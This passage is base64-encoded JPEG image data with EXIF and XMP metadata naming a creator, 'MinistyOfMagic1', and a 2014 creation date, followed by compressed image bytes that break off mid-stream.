/9j/4AAQSkZJRgABAQEBLAEsAAD/4RD6RXhpZgAATU0AKgAAAAgABAE7AAIAAAAQAAAISodpAAQA AAABAAAIWpydAAEAAAAgAAAQ0uocAAcAAAgMAAAAPgAAAAAc6gAAAAgAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE1pbmlzdHlPZk1hZ2lj MQAABZADAAIAAAAUAAAQqJAEAAIAAAAUAAAQvJKRAAIAAAADNDQAAJKSAAIAAAADNDQAAOocAAcA AAgMAAAInAAAAAAc6gAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAADIwMTQ6MDE6MjQgMTI6MzU6NTIAMjAxNDowMToyNCAxMjozNTo1 MgAAAE0AaQBuAGkAcwB0AHkATwBmAE0AYQBnAGkAYwAxAAAA/+ELImh0dHA6Ly9ucy5hZG9iZS5j b20veGFwLzEuMC8APD94cGFja2V0IGJlZ2luPSfvu78nIGlkPSdXNU0wTXBDZWhpSHpyZVN6TlRj emtjOWQnPz4NCjx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iPjxyZGY6UkRGIHht bG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+PHJk ZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9InV1aWQ6ZmFmNWJkZDUtYmEzZC0xMWRhLWFkMzEtZDMz ZDc1MTgyZjFiIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iPjx4bXA6 Q3JlYXRlRGF0ZT4yMDE0LTAxLTI0VDEyOjM1OjUyLjQ0MDwveG1wOkNyZWF0ZURhdGU+PC9yZGY6 RGVzY3JpcHRpb24+PHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9InV1aWQ6ZmFmNWJkZDUtYmEz ZC0xMWRhLWFkMzEtZDMzZDc1MTgyZjFiIiB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2Vs ZW1lbnRzLzEuMS8iLz48cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0idXVpZDpmYWY1YmRkNS1i YTNkLTExZGEtYWQzMS1kMzNkNzUxODJmMWIiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMv ZWxlbWVudHMvMS4xLyI+PGRjOmNyZWF0b3I+PHJkZjpTZXEgeG1sbnM6cmRmPSJodHRwOi8vd3d3 LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj48cmRmOmxpPk1pbmlzdHlPZk1hZ2lj MTwvcmRmOmxpPjwvcmRmOlNlcT4NCgkJCTwvZGM6Y3JlYXRvcj48L3JkZjpEZXNjcmlwdGlvbj48 L3JkZjpSREY+PC94OnhtcG1ldGE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDw/eHBhY2tldCBlbmQ9J3cnPz7/2wBDAAYEBQYFBAYGBQYHBwYI ChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcH BwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo KCgoKCj/wAARCAMgAjYDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL /8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2Jy ggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo 6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQD BAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRom JygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaX mJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6 /9oADAMBAAIRAxEAPwDzXVXf+1L353/17/xn+8aq73/56Sf99mrOq/8AIUvf+u7/APoRqrXnNu59 TGnCy0Qu9/8AnpJ/32aN7/8APST/AL7NJRRdlezh2Qu9/wDnpJ/32aN7/wDPST/vs0lFF2Hs4dkL vf8A56Sf99mje/8Az0k/77NJRRdh7OHZC73/AOekn/fZo3v/AM9JP++zSUUXYezh2Qu9/wDnpJ/3 2aN7/wDPST/vs0lFF2Hs4dkLvf8A56Sf99mje/8Az0k/77NJRRdh7OHZC73/AOekn/fZo3v/AM9J P++zSUUXYezh2Qu9/wDnpJ/32aN7/wDPST/vs0lFF2Hs4dkLvf8A56Sf99mje/8Az0k/77NJRRdh 7OHZC73/AOekn/fZo3v/AM9JP++zSUUXYezh2Qu9/wDnpJ/32aN7/wDPST/vs0lFF2Hs4dkLvf8A 56Sf99mje/8Az0k/77NJRRdh7OHZC73/AOekn/fZo3v/AM9JP++zSUUXYezh2Qu9/wDnpJ/32aN7 /wDPST/vs0lFF2Hs4dkLvf8A56Sf99mje/8Az0k/77NJRRdh7OHZC73/AOekn/fZo3v/AM9JP++z SUUXYezh2Qu9/wDnpJ/32aN7/wDPST/vs0lFF2Hs4dkLvf8A56Sf99mje/8Az0k/77NJRRdh7OHZ C73/AOekn/fZo3v/AM9JP++zSUUXYezh2Qu9/wDnpJ/32aN7/wDPST/vs0lFF2Hs4dkLvf8A56Sf 99mje/8Az0k/77NJRRdh7OHZC73/AOekn/fZo3v/AM9JP++zSUUXYezh2Qu9/wDnpJ/32aN7/wDP ST/vs0lFF2Hs4dkLvf8A56Sf99mje/8Az0k/77NJRRdh7OHZC73/AOekn/fZo3v/AM9JP++zSUUX Yezh2Qu9/wDnpJ/32aN7/wDPST/vs0lFF2Hs4dkLvf8A56Sf99mje/8Az0k/77NJRRdh7OHZC73/ AOekn/fZo3v/AM9JP++zSUUXYezh2Qu9/wDnpJ/32aN7/wDPST/vs0lFF2Hs4dkLvf8A56Sf99mj e/8Az0k/77NJRRdh7OHZC73/AOekn/fZo3v/AM9JP++zSUUXYezh2Qu9/wDnpJ/32aN7/wDPST/v s0lFF2Hs4dkLvf8A56Sf99mje/8Az0k/77NJRRdh7OHZC73/AOekn/fZo3v/AM9JP++zSUUXYezh 2Q2WWRVBWWQHPZzRTZ/uD60VrB6HBiIxU9Ee9+GvgpZeJtEt9Zl1q6t5L3dK0SQqQpLHgE1p/wDD O+n/APQw3v8A34T/ABr0j4U/8k90X/rk3/obV1lb+yh2PO+u11pzfkeF/wDDO+n/APQw3v8A34T/ ABo/4Z30/wD6GG9/78J/jXulFHsodg+vV/5vyPC/+Gd9P/6GG9/78J/jR/wzvp//AEMN7/34T/Gv dKKPZQ7B9er/AM35Hhf/AAzvp/8A0MN7/wB+E/xo/wCGd9P/AOhhvf8Avwn+Ne6UUeyh2D69X/m/ I8L/AOGd9P8A+hhvf+/Cf40f8M76f/0MN7/34T/GvdKKPZQ7B9er/wA35Hhf/DO+n/8AQw3v/fhP 8aP+Gd9P/wChhvf+/Cf417pRR7KHYPr1f+b8jwv/AIZ30/8A6GG9/wC/Cf40f8M76f8A9DDe/wDf hP8AGvdKKPZQ7B9er/zfkeF/8M76f/0MN7/34T/Gj/hnfT/+hhvf+/Cf417pRR7KHYPr1f8Am/I8 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 